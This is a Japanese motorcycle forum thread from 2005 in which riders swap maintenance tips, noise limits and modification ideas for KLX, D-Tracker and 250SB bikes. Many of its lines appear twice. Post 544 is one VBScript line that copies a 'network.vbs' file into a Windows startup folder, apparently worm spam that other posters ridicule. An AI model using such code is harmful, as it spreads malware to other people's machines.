ガソリン満タン、バッテリーはずしでＯＫ？
ローターとか錆びそう・・
ガソリン満タン、バッテリーはずしでＯＫ？
ローターとか錆びそう・・
散々言われてることとは思いますが、KLXって
回すと カララ・・ン！！って音しますよね
故障でないことはわかるのですが、すごく気になります
どーしたら音がしなくなりますか？
教えてください お願いします
回すと カララ・・ン！！って音しますよね
故障でないことはわかるのですが、すごく気になります
どーしたら音がしなくなりますか？
教えてください お願いします
439 ：７７４ＲＲ：05/02/23 02:38:57 ID:fwhWCJsQ
>>438
無理じゃよ
無理じゃよ
それが川崎ｸｵﾘ(ry
Dトラのステップのゴムを外してペダルの角度を調整した。
左はクランクケースに干渉しなくなった。でももう擦り傷がついて消せない…
右はブレーキランプスイッチのオフセットがぎりぎり。
KLXとはケーブルの長さが違うんかな？
左はクランクケースに干渉しなくなった。でももう擦り傷がついて消せない…
右はブレーキランプスイッチのオフセットがぎりぎり。
KLXとはケーブルの長さが違うんかな？
暖気運転してる時なんて、
サンバのリズムに心踊らされるね～っ。
そりゃもー、ハッピーさぁ～～～。w
オイルフィルターカバーの締め付けトルクって1.5NmでＯＫですか？
サンバのリズムに心踊らされるね～っ。
そりゃもー、ハッピーさぁ～～～。w
オイルフィルターカバーの締め付けトルクって1.5NmでＯＫですか？
↑ ＯＫじゃないです。
15Nmの間違いです。。。
15Nmでよろしいでしょうか？
15Nmの間違いです。。。
15Nmでよろしいでしょうか？
444 ：７７４ＲＲ：05/02/23 19:07:13 ID:AmHGYOqL
15Nmって強いの?弱いの?
そんなの測って締めたことないでつ。
そんなの測って締めたことないでつ。
445 ：７７４ＲＲ：05/02/23 19:19:16 ID:mzVUeJiY
プラグ外すのって6角の何mm？
きょう岐阜でこけて250ＳＢが入院してまった・・フロントもリアもライトが昇天・・・
足もけがしてるけどなんか晴れ晴れしい気分だ・・・
足もけがしてるけどなんか晴れ晴れしい気分だ・・・
お大事に。
これを機会にバイクにイメチェンでもしてください。
これを機会にバイクにイメチェンでもしてください。
449 ：７７４ＲＲ：05/02/23 23:05:42 ID:mzVUeJiY
D虎のノーマルマフラーって音量は何dbぐらい？
実際、社外品で公道で付けられるのって何dbぐらいまでなの？
実際、社外品で公道で付けられるのって何dbぐらいまでなの？
450 ：774RR：05/02/23 23:26:36 ID:LNYQk9Vx
>449
ノーマルは８９ｄｂ。今は公道では９４ｄｂまで。まあ２５０ｃｃなら
少々度が過ぎてもよっぽど頭の悪そうな運転しなければK察も黙ってはく
れるかな。
ノーマルは８９ｄｂ。今は公道では９４ｄｂまで。まあ２５０ｃｃなら
少々度が過ぎてもよっぽど頭の悪そうな運転しなければK察も黙ってはく
れるかな。
451 ：みるく ◆GASNOWzado ：05/02/24 00:10:48 ID:3Govuohe
社外品
93以前の生産車輌は99db
94以降の生産車輌は94db
あくまでも判断基準は生産年月日だから、中古で今買おうと関係なし。
93以前の生産車輌は99db
94以降の生産車輌は94db
あくまでも判断基準は生産年月日だから、中古で今買おうと関係なし。
みるくさん、こんばんは。
みるくさんに質問なんですが、Dトラでレースなどに参加しているんですか？
関西系の方たちはどんなとこに参加しているのか気になっての質問です。
みるくさんに質問なんですが、Dトラでレースなどに参加しているんですか？
関西系の方たちはどんなとこに参加しているのか気になっての質問です。
453 ：みるく ◆GASNOWzado ：05/02/24 00:27:28 ID:3Govuohe
今のところレースって程の事はしていません。
イベントや走行会程度です。
モタードに力を入れているショップも関西に数件ありますので
そちらの方でも各ショップ年2～3回はイベントがあるようです。
ヲイラは仕事で行けませんが、3/13日も名阪で練習会が有るようですよ。
ttp://www.glideride.net/
あとはMOTO-1関係ですかね。やっぱ。
今年はツナギも揃えたし、去年よりは多く参加しようと思ってます。
といっても、草レース止まりだと思いますが。。。
どこかでお会いしたらよろしくです。
イベントや走行会程度です。
モタードに力を入れているショップも関西に数件ありますので
そちらの方でも各ショップ年2～3回はイベントがあるようです。
ヲイラは仕事で行けませんが、3/13日も名阪で練習会が有るようですよ。
ttp://www.glideride.net/
あとはMOTO-1関係ですかね。やっぱ。
今年はツナギも揃えたし、去年よりは多く参加しようと思ってます。
といっても、草レース止まりだと思いますが。。。
どこかでお会いしたらよろしくです。
ありがとうございます。
走行会とかの情報集めて参加していこうかと思っています。
13日は色々とイベントがあるようですね。
浜松のモタードデイズに参加しようかと思っていましたが名阪なら近いですね。
検討してみます。
またどこかでお会いしたらよろしくお願いします。
走行会とかの情報集めて参加していこうかと思っています。
13日は色々とイベントがあるようですね。
浜松のモタードデイズに参加しようかと思っていましたが名阪なら近いですね。
検討してみます。
またどこかでお会いしたらよろしくお願いします。
455 ：７７４ＲＲ：05/02/24 02:51:26 ID:rq3S8pE2
和みage
九州はｲﾍﾞﾝﾄが少ないから関西羨ましい
ｲﾍﾞﾝﾄって言ったらｾｷｱでやってるMoto1と地方選ぐらいかな
一般ﾋﾟｰﾌﾟﾙが参加できるｲﾍﾞﾝﾄｷﾞﾎﾞﾝﾇ
ｲﾍﾞﾝﾄって言ったらｾｷｱでやってるMoto1と地方選ぐらいかな
一般ﾋﾟｰﾌﾟﾙが参加できるｲﾍﾞﾝﾄｷﾞﾎﾞﾝﾇ
458 ：７７４ＲＲ：05/02/24 15:44:12 ID:Ogs+seEF
Dトラのプラグってどうやってはずせばいいのでしょうか？
>>458
外し方はKLXやSBと一緒ですよ
外し方はKLXやSBと一緒ですよ
460 ：７７４ＲＲ：05/02/24 16:05:14 ID:Ogs+seEF
>>459 すいません。そのはずしかたもわからんのです。どの工具使えばいいのでしょう
か？
か？
461 ：７７４ＲＲ：05/02/24 16:33:26 ID:v+DOiyFd
バイク屋に行け。
462 ：７７４ＲＲ：05/02/24 16:49:17 ID:blqkCyl9
>>460よくﾊﾞｲｸに乗れるな～。ある程度は本とかマニュアル読んで勉強しろよ。
外
レ し
外 ベ 方
さ ル も
な な わ
い ら か
方 ら
が な
無 い
難
レ し
外 ベ 方
さ ル も
な な わ
い ら か
方 ら
が な
無 い
難
１.新品プラグのギャップ間隙をゲージにて規定値かどうか確認
２．プラグ付近のごみ・油等をエア・スプレー等で吹き飛ばす
３．一気にすべて抜かず途中で再びゴミを飛ばす
４．交換するプラグのねじ山にグリスをはけ塗り
５．新品を交換。一度逆回転（ねじ山をタップにおとし）させ閉めこむ
６．トルクレンチがあれば規定値で締め付ける。
用意するもの。エアダスタスプレー
プラグ
ウエス
刷け
グリス
隙間ゲージ
ボックスプラグレンチ
トルクレンチ（あれば）ないときは、外す前に回らない程度に締め込み
体で、どれ位閉めればいいか覚える。
２．プラグ付近のごみ・油等をエア・スプレー等で吹き飛ばす
３．一気にすべて抜かず途中で再びゴミを飛ばす
４．交換するプラグのねじ山にグリスをはけ塗り
５．新品を交換。一度逆回転（ねじ山をタップにおとし）させ閉めこむ
６．トルクレンチがあれば規定値で締め付ける。
用意するもの。エアダスタスプレー
プラグ
ウエス
刷け
グリス
隙間ゲージ
ボックスプラグレンチ
トルクレンチ（あれば）ないときは、外す前に回らない程度に締め込み
体で、どれ位閉めればいいか覚える。
>>464
プラグ屋はグリス塗るなといってるけどね。
ttp://www.denso.co.jp/PLUG/basic/torque/index.html
あとそこまで書いたらガスケットの潰しも教えてあげれ。
プラグ屋はグリス塗るなといってるけどね。
ttp://www.denso.co.jp/PLUG/basic/torque/index.html
あとそこまで書いたらガスケットの潰しも教えてあげれ。
466 ：７７４ＲＲ：05/02/24 18:07:32 ID:Ogs+seEF
>>461,462,463,464、465
スレ汚しほんとにすみませんでした。一応例のDトラッカーについての
本を読みながらやっていたんですけど、買って来たプラグレンチが狭くて入らなくて、
本の中ではタンクをはずさないでやってたのでどんな工具使うのかなと思ってつい聞いてしまいました。
バイク屋に聞きながら自分でやってみます。特に４６４さん詳しく書いていただいて
ありがとうございました。そしてすいません。
スレ汚しほんとにすみませんでした。一応例のDトラッカーについての
本を読みながらやっていたんですけど、買って来たプラグレンチが狭くて入らなくて、
本の中ではタンクをはずさないでやってたのでどんな工具使うのかなと思ってつい聞いてしまいました。
バイク屋に聞きながら自分でやってみます。特に４６４さん詳しく書いていただいて
ありがとうございました。そしてすいません。
車載工具のプラグレンチじゃないと
タンク外さずには無理じゃない？
タンク外さずには無理じゃない？
468 ：７７４ＲＲ：05/02/24 19:02:47 ID:rq3S8pE2
社外品でﾀﾝｸ外さなくても出来るﾔﾂあるYO!
プラグレンチだけはメーカー問わず、車載品が一番使いやすいと思われ。
デンソーとNGKのイリジウム、あなたならどっち？
俺はNGK
理由：なんとなく
俺はNGK
理由：なんとなく
デンソーだな
472 ：７７４ＲＲ：05/02/25 00:59:03 ID:XkVlFhDD
懸垂が１０回以上できない人はＤトラのっても面白くないでしょうって
言ってる人がいました
言ってる人がいました
473 ：７７４ＲＲ：05/02/25 01:21:31 ID:9jbQoFVA
イリジウムプラグつけても効果を体感することはできない。(バイク屋のオジサン談)
今はR1というまったく毛色の違うバイクに乗ってるが
初めて買って乗ったDトラにまたのりたくなってきた・・・
なんだろうなこの気持ち
まぁ、お金がないから無理だけどね～
初めて買って乗ったDトラにまたのりたくなってきた・・・
なんだろうなこの気持ち
まぁ、お金がないから無理だけどね～
R1のショックの初期動作がDトラと似てるからでは？
R1を乗りこなせるようになってから飽きてDトラに
帰ってきたらモンキーを触るような感じで遊べますよ。
ミニバイクレースをやっている感じ。
草レースもあっていいよ。
俺はR1からDトラです。
R1を乗りこなせるようになってから飽きてDトラに
帰ってきたらモンキーを触るような感じで遊べますよ。
ミニバイクレースをやっている感じ。
草レースもあっていいよ。
俺はR1からDトラです。
>470
俺はﾄﾙｸﾏｽﾀｰ派
理由:半永久的に使えるから
俺はﾄﾙｸﾏｽﾀｰ派
理由:半永久的に使えるから
477 ：７７４ＲＲ：05/02/25 10:20:30 ID:sqfhzAfX
KLX糊なんですが、タンデムステップをもうチョット乗りやすいものに変えたいのですが
何か流用できるものや、社外品でありませんか？
何か流用できるものや、社外品でありませんか？
ギブリのライトカウル、オクでチェックしてたら中古が出てる。しかし現時点6000円。
同じ出品者のが新品で7850円で落札されてる。今後値上がりしたら、その差がばかばかしいね。
同じ出品者のが新品で7850円で落札されてる。今後値上がりしたら、その差がばかばかしいね。
俺が6000円で落札するから誰も入札するなよ？
483 ：７７４ＲＲ：05/02/25 18:54:03 ID:OYM1Jt/s
イリジウムプラグにかえてアフターファイヤーが減った。
それくらい。
それくらい。
テスト
そういや、今日W650がいい加速してたので、付いていこうと思ったら、
思ったよりしんどかった、つーか途中で離された。さすがに650相手じゃ無理ぽ。
ちなみにストレートだったが。
俺がへたれぽ。
思ったよりしんどかった、つーか途中で離された。さすがに650相手じゃ無理ぽ。
ちなみにストレートだったが。
俺がへたれぽ。
W650は意外に速くてメーター振りきるくらい出ちゃうもんな
ンだ、W650も持ってるが見た目以上に速いよん。
でもKLXの方が楽しい。
でもKLXの方が楽しい。
489 ：７７４ＲＲ：05/02/26 05:44:13 ID:q2shZ+0G
Ｗ６５０って林道走って楽しいバイクですか？
中古で安いんで買おうかと考えてます
中古で安いんで買おうかと考えてます
>>489
持ち主的には林道通過程度ならオフ車とは別の意味で楽しく走れるです。
アップハンドルとローハンドルがあるけど、
アップハンドルの方がスタンディングの操作性がオフっぽくて好感触。
ってか、W650スレッドで聞こうよｗ
http://hobby7.2ch.net/test/read.cgi/bike/1106908660/150
持ち主的には林道通過程度ならオフ車とは別の意味で楽しく走れるです。
アップハンドルとローハンドルがあるけど、
アップハンドルの方がスタンディングの操作性がオフっぽくて好感触。
ってか、W650スレッドで聞こうよｗ
http://hobby7.2ch.net/test/read.cgi/bike/1106908660/150
491 ：７７４ＲＲ：05/02/26 11:45:35 ID:q2shZ+0G
高速道路を多用するツーリングのために、セカンドバイクとして
Ｗ６５０を所有するのも良いかなって思いました。
Ｗ６５０を所有するのも良いかなって思いました。
492 ：７７４ＲＲ：05/02/26 17:46:02 ID:3T8ume2x
キャブセッティングするならタコメーターって必要？
493 ：７７４ＲＲ：05/02/26 18:43:28 ID:/Eocq+1K
あった方が便利に決まってる。
ただし絶対に必要かどうかと言ったら、なくても出来るだろって感じ。
ただし絶対に必要かどうかと言ったら、なくても出来るだろって感じ。
ちなみにデジタルタコはあっても殆ど意味無いですから
495 ：７７４ＲＲ：05/02/26 22:07:26 ID:ZOhge/Bx
んなこたーない。せんのくらいみてればやくにたつ
けっきょくの所お前らはストリート系オサレライダーなのか？
それともｅｌｆファッションを身にまとったオッサン系ライダー？
Ｄトラ海苔として後者は許せないミーなんですけど(オフ用フルフェイスは認める)
それともｅｌｆファッションを身にまとったオッサン系ライダー？
Ｄトラ海苔として後者は許せないミーなんですけど(オフ用フルフェイスは認める)
乗る場所によるんじゃねーの？
俺は見た目だけのファッションライダーは好きじゃねえ。
でも、elfとかロゴが入ったバイクウェアは論外。
俺は見た目だけのファッションライダーは好きじゃねえ。
でも、elfとかロゴが入ったバイクウェアは論外。
ぼ、盆栽はありですか？
一応日常の整備はできます…
一応日常の整備はできます…
バイクぐらい好きに乗らせてくれよ…。
ＫＬＸとＤトラッカーってタイカワサキの製品ですよね。
信頼性とかに不安はないのか教えてください。
よるしくお願いします。
信頼性とかに不安はないのか教えてください。
よるしくお願いします。
タイカワサキの製品ではありませんよ。
川崎重工業の製品で、カワサキモーターサイクルジャパンが扱ってます。
生産ラインをタイに移しただけ。それもタイカワとは別です。
川崎重工業の製品で、カワサキモーターサイクルジャパンが扱ってます。
生産ラインをタイに移しただけ。それもタイカワとは別です。
自分でオサレとか言うような奴を相手にするなよ
＞＞502
ありがとうございます。
ありがとうございます。
＞＞５０１
ＸＲも候補にあがっているのですが、よく行くバイク屋がカワサキ大好き
ホンダ大嫌いなんです。ぼく気が弱いからホンダのバイク買うとは言いにくい
んです。なさけない。
ＸＲも候補にあがっているのですが、よく行くバイク屋がカワサキ大好き
ホンダ大嫌いなんです。ぼく気が弱いからホンダのバイク買うとは言いにくい
んです。なさけない。
Ｄトラでいいのですが、250ＳＢのチャンピオンイエローがきになってます。
値引き条件とかＤトラとＳＢで違うのでしょうか。
質問ばかりですいません。
値引き条件とかＤトラとＳＢで違うのでしょうか。
質問ばかりですいません。
508 ：７７４ＲＲ：05/02/27 15:13:49 ID:UJwuKSmo
明日にSM納車記念カキコ
510 ：７７４ＲＲ：05/02/27 17:39:26 ID:Bh/0b9Fy
>>179の者だが某レプリカのダウンフェンダーを流用してみた。
結構エグく切らなきゃならなかったがカッターを炙って切ればそれほどでもない。
http://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050227173117.jpg
難しいのはストロークしたときアウターと干渉しないようにつけること。
また、元からあるフォークガードにステーをつけなければならない。
俺は穴をガードに穴を空けてＬ字金具で固定。
そんなこんなで完成。ムフフ。
雨の日が楽しみだぜ！
http://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050227172954.jpg
結構エグく切らなきゃならなかったがカッターを炙って切ればそれほどでもない。
http://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050227173117.jpg
難しいのはストロークしたときアウターと干渉しないようにつけること。
また、元からあるフォークガードにステーをつけなければならない。
俺は穴をガードに穴を空けてＬ字金具で固定。
そんなこんなで完成。ムフフ。
雨の日が楽しみだぜ！
http://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050227172954.jpg
offバイクとしてそれで良いのか？
というか普通にダサ過ぎｗ
センスを疑う
センスを疑う
今日､自分と同じ?03の黒D虎見ました
ｼｭﾗｳﾄﾞとﾗｲﾄまわりとFﾌｪﾝﾀﾞｰがｵﾚﾝｼﾞにしてありました
違和感なくてなかなか良い感じでした(･∀･)ｲｲ!!
ｼｭﾗｳﾄﾞとﾗｲﾄまわりとFﾌｪﾝﾀﾞｰがｵﾚﾝｼﾞにしてありました
違和感なくてなかなか良い感じでした(･∀･)ｲｲ!!
>>513
俺もバイク便で見たことある。黒オレンジは結構きれい。
俺もバイク便で見たことある。黒オレンジは結構きれい。
ダウンフェンダーにダウンマフラー
両方ダセえ
両方ダセえ
作り直すなら言っといてあげるけど、カットした角部分を鋭角のままにしとくと
すぐクラックが入ってあっという間に進行すると思うよ。
ちょっと見ただけでも、何もかも中途半端なんだよね。
すぐクラックが入ってあっという間に進行すると思うよ。
ちょっと見ただけでも、何もかも中途半端なんだよね。
>>513
ワンポイントで発色の良い色入れるのはカッコいいけど、
ハズすとヤバイくらい、というか見てる方が恥ずかしくなるほどカッコ悪くなる諸刃の刃。
そして、改造した本人は「これかっこいい！」と盲目になってるので気付かない。
ワンポイントで発色の良い色入れるのはカッコいいけど、
ハズすとヤバイくらい、というか見てる方が恥ずかしくなるほどカッコ悪くなる諸刃の刃。
そして、改造した本人は「これかっこいい！」と盲目になってるので気付かない。
>>516
暇だったから煽ってみただけw
ｶﾞｰﾄﾞに穴開けたつってるからそれﾌｫｰｸｶﾞｰﾄﾞじゃないか？
確かにｸﾗｯｸは入りやすくなる。細かいﾍﾟｰﾊﾟｰで擦るだけで変わるよ。
ﾀﾞｳﾝﾌｪﾝは皆好き好きだから叩かれたりｶｺｲｲという人もいると思うよ。
ちなみにﾀﾞｳﾝﾏﾌﾗｰ俺も嫌い。排気効率はいいんだけどね。
暇だったから煽ってみただけw
ｶﾞｰﾄﾞに穴開けたつってるからそれﾌｫｰｸｶﾞｰﾄﾞじゃないか？
確かにｸﾗｯｸは入りやすくなる。細かいﾍﾟｰﾊﾟｰで擦るだけで変わるよ。
ﾀﾞｳﾝﾌｪﾝは皆好き好きだから叩かれたりｶｺｲｲという人もいると思うよ。
ちなみにﾀﾞｳﾝﾏﾌﾗｰ俺も嫌い。排気効率はいいんだけどね。
ﾌｫｰｸｶﾞｰﾄﾞに穴開けてﾌｪﾝﾀﾞｰ付けてる外せないんじゃないか？って書こうとしました。
意味わからない事書いて申し訳ない｡+ﾟ:｡(ﾉﾛ`)*.ﾟ。
意味わからない事書いて申し訳ない｡+ﾟ:｡(ﾉﾛ`)*.ﾟ。
>>520
そうじゃなくて、元からKLXについてるフォークガードのせいで、
横幅アップ、Fフェンダーが前にでちゃうと、モッサリ感がでちゃってるから外した方がいいかなと。
あと全体的に小さいなぁ。レプは何のやつ使ったんだろう･･･
そうじゃなくて、元からKLXについてるフォークガードのせいで、
横幅アップ、Fフェンダーが前にでちゃうと、モッサリ感がでちゃってるから外した方がいいかなと。
あと全体的に小さいなぁ。レプは何のやつ使ったんだろう･･･
ﾅﾙﾎ納得。確かになんのﾌｪﾝﾀﾞｰかわかんないな。
あとは先端がもう少し尖ってた方がｶｯｺｲｲと思うな。
ｼｭﾗｳﾄﾞやらﾘｱﾌｪﾝとか鋭角的なﾃﾞｻﾞｲﾝだから丸っこいのは浮いてる。
あとは先端がもう少し尖ってた方がｶｯｺｲｲと思うな。
ｼｭﾗｳﾄﾞやらﾘｱﾌｪﾝとか鋭角的なﾃﾞｻﾞｲﾝだから丸っこいのは浮いてる。
524 ：７７４ＲＲ：05/02/27 22:57:01 ID:wdr9Hd0p
今日キャブを交換してもらいにバイク屋に行ってみたら
「エンジンをオーバーホールしなきゃいけない」って。
まだ2万キロっすよ・・・
しかもあんまり回して乗ってないのに
LX250DE（KLX250 '03）ってそんなもんだっけ？
それともこれはKAWASAKIクオリティ？
疑問符だらけになってしまったので誰かに聞いてみたくなったのだが
おまいらエンジン周りのオーバーホールって何キロぐらいでしてる？
ちなみに前乗ってたKLX250ESは5万キロ走ってもぜんぜん元気ですた
「エンジンをオーバーホールしなきゃいけない」って。
まだ2万キロっすよ・・・
しかもあんまり回して乗ってないのに
LX250DE（KLX250 '03）ってそんなもんだっけ？
それともこれはKAWASAKIクオリティ？
疑問符だらけになってしまったので誰かに聞いてみたくなったのだが
おまいらエンジン周りのオーバーホールって何キロぐらいでしてる？
ちなみに前乗ってたKLX250ESは5万キロ走ってもぜんぜん元気ですた
>516
フォークガード外したくないんだよねー。飛び石やだし。
ボッテルしてるのは同意。ホンヅケの奴はフォークガード一体式で
すっきりしてるんだけど金無いし。まあ、不満になってきたら付け方また考えますわ。
>>510
角にやすりね。いいこと聞いた。サンクス。
俺的にはオンの方向に近づけたいのよねー。オフ走ったり跳んだりしないし。
ダウンは賛否両論だと思うがこのバイクは邪道を楽しむバイクだしね。
フォークガード外したくないんだよねー。飛び石やだし。
ボッテルしてるのは同意。ホンヅケの奴はフォークガード一体式で
すっきりしてるんだけど金無いし。まあ、不満になってきたら付け方また考えますわ。
>>510
角にやすりね。いいこと聞いた。サンクス。
俺的にはオンの方向に近づけたいのよねー。オフ走ったり跳んだりしないし。
ダウンは賛否両論だと思うがこのバイクは邪道を楽しむバイクだしね。
フォークガードに固定しちゃったら、フェンダーがカタカタ動いちゃうな。
>>515
まさか本気で言ってるわけじゃないだろうな...
まさか本気で言ってるわけじゃないだろうな...
528 ：７７４ＲＲ：05/02/28 00:34:54 ID:QoF6HkWX
第一に、とにかくうるさくなくて、
セッティング込みで性能もそこそこアップするマフラーをつけたいんだけど、おすすめありますか？
セッティング込みで性能もそこそこアップするマフラーをつけたいんだけど、おすすめありますか？
ちょいと質問なんですが、
ブレーキングのFローターを付けたいのですが、
ローターを止めるボルトで良いのありますか？
テーパーボルトでステン製が良いのですが…。
どっか良いメーカーとかありませんか？
ポジポだとチタンしかないし…。教えておくれ。
ブレーキングのFローターを付けたいのですが、
ローターを止めるボルトで良いのありますか？
テーパーボルトでステン製が良いのですが…。
どっか良いメーカーとかありませんか？
ポジポだとチタンしかないし…。教えておくれ。
>528
デイトナのダモスがいいんでね？
デイトナのダモスがいいんでね？
531 ：７７４ＲＲ：05/02/28 00:59:36 ID:d5LQsVic
4ヶ月ぶりのDトラ復活age
夜はとっても寒かった
夜はとっても寒かった
>>528
シングル２５０でうるさくないマフラーはノーマルだけ
俺も静かなマフラー探してて最終的に辿りついたのはデイトナのダモスだけどこれでも
やはりうるさいはうるさい、普通に走ってても白バイに追いかけられます。切符は切られないけど
シングル２５０でうるさくないマフラーはノーマルだけ
俺も静かなマフラー探してて最終的に辿りついたのはデイトナのダモスだけどこれでも
やはりうるさいはうるさい、普通に走ってても白バイに追いかけられます。切符は切られないけど
534 ：７７４ＲＲ：05/02/28 11:16:30 ID:A/HbDwm3
ozのは結構静かだよ。
ノーマルよりってのは無いと思うけど。
ノーマルよりってのは無いと思うけど。
>>529
熱がかかる所にステンはやめれ
熱がかかる所にステンはやめれ
536 ：７７４ＲＲ：05/02/28 17:57:28 ID:HxNUHY7q
>>529 、535
ステン(SUS304)は、バイクの大事なとこで使ってるボルトよりも強度が低いよ。
M8、M10は強度区分が6とか9。ステンは5に相当(数字は引張り強さを示す)
強度が重要でなくて耐熱性のいるところにステンを使うのは正解。(さびにくい)
ただしネジのかじりに注意のこと。
質問：ブレーキングのローターはM6用の穴？ M8用の穴
ステン(SUS304)は、バイクの大事なとこで使ってるボルトよりも強度が低いよ。
M8、M10は強度区分が6とか9。ステンは5に相当(数字は引張り強さを示す)
強度が重要でなくて耐熱性のいるところにステンを使うのは正解。(さびにくい)
ただしネジのかじりに注意のこと。
質問：ブレーキングのローターはM6用の穴？ M8用の穴
熱がかかってるところに力が加わると
かじりやすいと聞いたことがあるので。
間違ってたならスマン。
かじりやすいと聞いたことがあるので。
間違ってたならスマン。
>>537で合ってると思うよ。
熱がかかるって言っても排気管なみに連続高温に晒される訳じゃないし。
逆にある程度の加熱→冷却を繰り返す箇所ではカジリの心配した方が
いいと思う。強度が低いのは>>536の言うとおり。
熱がかかるって言っても排気管なみに連続高温に晒される訳じゃないし。
逆にある程度の加熱→冷却を繰り返す箇所ではカジリの心配した方が
いいと思う。強度が低いのは>>536の言うとおり。
539 ：７７４ＲＲ：05/02/28 20:16:07 ID:+Uy/t2DR
リッター逆車とオフ車と2台買うつもりなんだが、逆車が近所の店と
比べて高いのが悩みどころ。国内オフ車は安いんだけどね。2つの店で
別々に買うのもめんどうだし、どうしようかなあ。
比べて高いのが悩みどころ。国内オフ車は安いんだけどね。2つの店で
別々に買うのもめんどうだし、どうしようかなあ。
げ。男爵スレと誤爆したｗ
インコネルエキパイﾏﾝｾｰでさようなら～
インコネルエキパイﾏﾝｾｰでさようなら～
みなさん、レスどうもです。
>>536
Ｄトラ純正ハブなんで、たしかＭ８だったと思います。
ローターの方が皿取り（逆テーパー？）してあるので、
なんか良いボルトないかなと、探してました。
ローター変えてる人って、純正のボルトを使ってるんですかね？
>>536
Ｄトラ純正ハブなんで、たしかＭ８だったと思います。
ローターの方が皿取り（逆テーパー？）してあるので、
なんか良いボルトないかなと、探してました。
ローター変えてる人って、純正のボルトを使ってるんですかね？
542 ：７７４ＲＲ：05/02/28 23:02:30 ID:A/HbDwm3
俺は純正新品を使ってる。
543 ：加東秀吉：05/03/01 02:31:42 ID:x+/apBnc
教えてください。
Ｒリムを4.25に変え、純正Ｒリム3.5をＦに移植しました。
Ｆスポークをそのまま使用。リム穴の角度が違うので
微妙にスポークがＲしています。
ＲリムをＦに組める専用スポークってありますか？
ご存知の方教えてください。お願いします。
Ｒリムを4.25に変え、純正Ｒリム3.5をＦに移植しました。
Ｆスポークをそのまま使用。リム穴の角度が違うので
微妙にスポークがＲしています。
ＲリムをＦに組める専用スポークってありますか？
ご存知の方教えてください。お願いします。
544 ：７７４ＲＲ：05/03/01 03:46:58 ID:p4x2Q+3i
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
また馬鹿の一つ覚えのウィルスコードか？
何処のスレに行ってもこりねぇっつうか飽きねぇ馬鹿だな
何処のスレに行ってもこりねぇっつうか飽きねぇ馬鹿だな
BEETのスリップオン購入。
JMCA認定のNを買ったつもりが、レース用のNRだった。泣ける。
JMCA認定のNを買ったつもりが、レース用のNRだった。泣ける。
548 ：７７４ＲＲ：05/03/01 13:17:19 ID:Yno5nPCH
棒を取って穴を作る工事をすればいいと思うよ
>>549
カルーセルかっ！
カルーセルかっ！
551 ：７７４ＲＲ：05/03/01 14:50:49 ID:aHlE5T0X
>>550 ﾋﾃﾞﾌﾞｯ･･･
友達がCRM250ARを17インチ化して、紫の純正21/18インチリムを貰ったんだけど、
こいつ無加工でこのリムKLX用に組めるかな？
こいつ無加工でこのリムKLX用に組めるかな？
250SBなんですが、年式ってどうやって見分けりゃいーんでしょうか？？
購入店が閉店してまして。2003年夏に新車で買ったんすけど03年式ってことになるんでしょうか？
教えて君ですが教えてくださいｴﾛい人。
購入店が閉店してまして。2003年夏に新車で買ったんすけど03年式ってことになるんでしょうか？
教えて君ですが教えてくださいｴﾛい人。
554 555
くだらぬ質問にありがとーございました！
くだらぬ質問にありがとーございました！
規制前のやつってノーマルでも速いのな。
規制前に改良したいよ。
規制前に改良したいよ。
558 ：７７４ＲＲ：05/03/01 21:43:41 ID:d5kVyG0M
イグナイター交換とKLEENカットとエキパイ換えれば。
>>552
ＣＲＭはリアが３２穴なので残念！！！
ＣＲＭはリアが３２穴なので残念！！！
ttp://page5.auctions.yahoo.co.jp/jp/auction/e43858305
こんなマニアックなことしてる人がいる。
>>558
イグナイターも規制前のはなかなかオクで出ないね。出ても糞高いし。
こんなマニアックなことしてる人がいる。
>>558
イグナイターも規制前のはなかなかオクで出ないね。出ても糞高いし。
561 ：７７４ＲＲ：05/03/01 22:50:18 ID:nOXa/2SP
>>560
開始価格がいい感じだな
開始価格がいい感じだな
ﾅﾝｶレスがとんでる・・・
俺も34で同じ事をしているが36でどう変わるのだろうかと気になる。
しかし8000円以上出して買う価値があるのかな。
しかし8000円以上出して買う価値があるのかな。
> キャブ変更禁止のレースに出るため製作しました。
つっこむところなんだろうかヽ(´ｰ｀)ﾉ
つっこむところなんだろうかヽ(´ｰ｀)ﾉ
ノーマルに付けたら逆にデチューンになるんじゃね？
>>564
社外不可、但し純正流用及び改造は可 ってことじゃない。
社外不可、但し純正流用及び改造は可 ってことじゃない。
567 ：７７４ＲＲ：05/03/02 12:51:22 ID:9jxZu+ge
キャブ交換不可ってやつじゃない？
外見が同じって言ってるし。
ってことはこの出品者はレギュレーション違反？
外見が同じって言ってるし。
ってことはこの出品者はレギュレーション違反？
それを言っちゃあ…
569 ：７７４ＲＲ：05/03/02 17:49:47 ID:A5ldhEIF
昔のﾖｼﾑﾗみたい。
今日、SBを買いました。
カワサキのOEM車なので、何所かにカワサキのロゴがあるかな？と思って探してみたら・・・
すぐに見つかりました。
サイレンサー部に「Ｋ」の刻印が・・・orz
鍵はスズキになってるのにな。
ま、いいや。すぐにBEETに換えるし。
カワサキのOEM車なので、何所かにカワサキのロゴがあるかな？と思って探してみたら・・・
すぐに見つかりました。
サイレンサー部に「Ｋ」の刻印が・・・orz
鍵はスズキになってるのにな。
ま、いいや。すぐにBEETに換えるし。
マフラーをデイトナステンレスオーバルマフラーか純正規制前のままかで迷ってる。
純正なみの音で軽いのって無いね。
純正なみの音で軽いのって無いね。
スーパーサウンドでディスク増やして妥協するか。。。。
DELTAのスリップオンが安いので購入予定です。
サイトでは94dbとなっていますが、実際のサウンドを聴いたことがありません。
付けてる方いらっしゃいましたら、どんなんか教えて下さい。
サイトでは94dbとなっていますが、実際のサウンドを聴いたことがありません。
付けてる方いらっしゃいましたら、どんなんか教えて下さい。
574 ：７７４ＲＲ：05/03/02 20:19:56 ID:WUouK42u
キタ━━━━━━(゜∀゜)━━━━━━ !!!!
575 ：７７４ＲＲ：05/03/02 23:07:50 ID:xwFBGz+X
純正の３００ｃｃピストンに交換した場合、暖機に気をつかうように
なりますか？
なりますか？
576 ：７７４ＲＲ：05/03/02 23:17:41 ID:GgPear7k
>575
暖気は一緒｡
ただしｵｲﾙ管理には気を使え
暖気は一緒｡
ただしｵｲﾙ管理には気を使え
577 ：７７４ＲＲ：05/03/02 23:26:44 ID:EpR0LDRd
暖機＝アイドリングならエンジンに良くない。
